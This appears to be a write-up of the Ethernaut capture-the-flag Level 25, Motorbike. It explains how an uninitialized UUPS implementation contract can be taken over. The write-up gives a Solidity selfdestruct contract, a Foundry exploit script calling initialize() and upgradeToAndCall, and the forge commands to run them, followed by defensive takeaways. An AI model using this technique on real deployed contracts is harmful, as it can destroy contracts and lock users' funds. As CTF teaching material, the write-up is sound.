Ethernaut Level 25 - Motorbike

Ethernaut Level 25 - Motorbike

Analysis and solution for Ethernaut's Level 25 - Motorbike, with Solidity and Foundry

Objectives

Our objective for this level is to call selfdestruct() on the implementation contract Engine and make the Proxy contract unusable. Let's see how we can do that.


Analysis

This level is using a proxy pattern called UUPS (Universal Upgradeable Proxy Standard). The last one which we saw in Level 24 was a Transparent proxy pattern.

The difference is that in a UUPS proxy pattern, the contract upgrade logic will also be coded in the implementation contract and not the proxy contract. This allows the user to save some gas. This is how the structure looks:

image.png

The other difference is that there's a storage slot defined in the proxy contract that stores the address of the logic contract. This is updated every time the logic contract is upgraded. This is to prevent storage collision. More on this can be read on EIP-1967.

In our case, the proxy contract is the Motorbike and the implementation/logic contract is Engine. When we take a look at the proxy contract, we can see the storage slot defined as:

bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

This slot is storing the address of the implementation contract.

When we look at the Engine contract, we can see that there's no selfdestruct() defined in the contract code. So how will we make a call to it? We will try to upgrade the implementation contract to point it to our deployed attacker contract.

To upgrade the logic, the Engine contract defines a function called upgradeToAndCall():

function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
    _authorizeUpgrade();
    _upgradeToAndCall(newImplementation, data);
}
function _authorizeUpgrade() internal view {
    require(msg.sender == upgrader, "Can't upgrade");
}

This is calling _authorizeUpgrade() to check if the msg.sender is upgrader. Therefore, to upgrade the contract we need to make sure we are upgrader. So how do we become an upgrader? Let's take a look at the initialize() function:

function initialize() external initializer {
    horsePower = 1000;
    upgrader = msg.sender;
}

initialize() is a special function used in UUPS-based contracts. And, along with initializer modifier, this acts as a constructor which can only be called once. (This is checked in the initializer modifier).

Something which should be observed here is that in this implementation, the initialize() function is supposed to be called by the proxy contract which it is doing. You can see in its constructor. But remember that it is doing so using a delegatecall(). And when a caller contract makes a delegate call to another contract, the caller contract's storage slots are updated using the code of the logic contract.

This means that the delegatecall() is being made in the context of the proxy contract and not the implementation.

So it is absolutely true that the proxy contract can only call the initialize() once and it'll update its storage values but what if we are to find the deployed address of the implementation contract and call the initialize() manually? In the context of the implementation contract, this has not yet been called. So if we are to call the function, our user (msg.sender) will become the upgrader.

Once we become the upgrader we can just call the upgradeToAndCall() with our own contract's address in which we can create a selfdestruct() function. This should be enough to solve the level.


The Exploit

Lets first create our attacker contract which will house the selfdestruct() function:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Destructive {
    function killed() external {
        selfdestruct(address(0));
    }    
}

Just a simple contract with selfdestruct() being called in the killed() external function.

This is how our exploit script looks:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel25.sol";

contract POC is Script {

     Motorbike level25 = Motorbike(0xE7BaFbC26565E1047d1755B820Fa99Fb463a5BF4);
     Engine engineAddress = Engine(address(uint160(uint256(vm.load(address(level25), 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc)))));
    function run() external{
        vm.startBroadcast();

        engineAddress.initialize();
        console.log("Upgrader is :", engineAddress.upgrader());
        bytes memory encodedData = abi.encodeWithSignature("killed()");
        engineAddress.upgradeToAndCall(0x04dE0eA8556C85b94E61bC83B43d4FFb6DdC30F1, encodedData);

        vm.stopBroadcast();
    }
}
  • Motorbike level25 - This is the address of the Proxy contract Motorbike.
  • Engine engineAddress - This contains the address of the Engine, calculated using vm.load(contract_address, slot_no). Since this will return a bytes32 value and the address is 20 bytes, we need to convert it to store it into an address-type variable. That's why the extra address(uint160(uint256())) are being used. This can also be obtained from the console using
    await web3.eth.getStorageAt(contract.address, '0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')
    
  • engineAddress.initialize() - We are calling the initialize() function to become the upgrader.
  • console.log - It is just used to make sure that we became the upgrader by logging the address to the console.
  • bytes memory encodedData - This is the data that will be sent inside the upgradeToAndCall() method.
  • engineAddress.upgradeToAndCall - Finally, we are making the call to upgrade the implementation contract. This function expects the implementation's address as the first parameter and the encoded data which contains the function signature to call while upgrading the contract as the second one.

Once the call is made, the implementation contract will be changed to our deployed Destructive contract and the current implementation will make a delegatecall() to our contract's killed() function, destroying the contract.

Deploy the Destructive contract and execute the script using the following commands:

forge create Destructive --private-key $PKEY --rpc-url $RPC_URL
forge script ./script/level25.sol --private-key $PKEY --broadcast --rpc-url $RPC_URL -vvvv

Make sure to update the address of the Destructive contract in the exploit script.

image.png The instance can now be submitted to finish the level.

My Github Repository containing all the codes: github.com/az0mb13/ethernaut-foundry

My article on setting up your workspace to get started with Ethernaut using Foundry and Solidity - blog.dixitaditya.com/getting-started-with-e..


Takeaways

  • UUPS Proxies are definitely an upgrade from previous proxy patterns but a proper code audit should be done before deploying these implementations on the mainnet as even a tiny mistake by the developer could lead to the destruction of both the proxy and implementation contracts.
  • The caller context is important when storing state variables.
  • Business-critical functions such as the ones to upgrade contracts should always have access control modifiers.

References

dev.to/nvn/ethernaut-hacks-level-25-motorbi..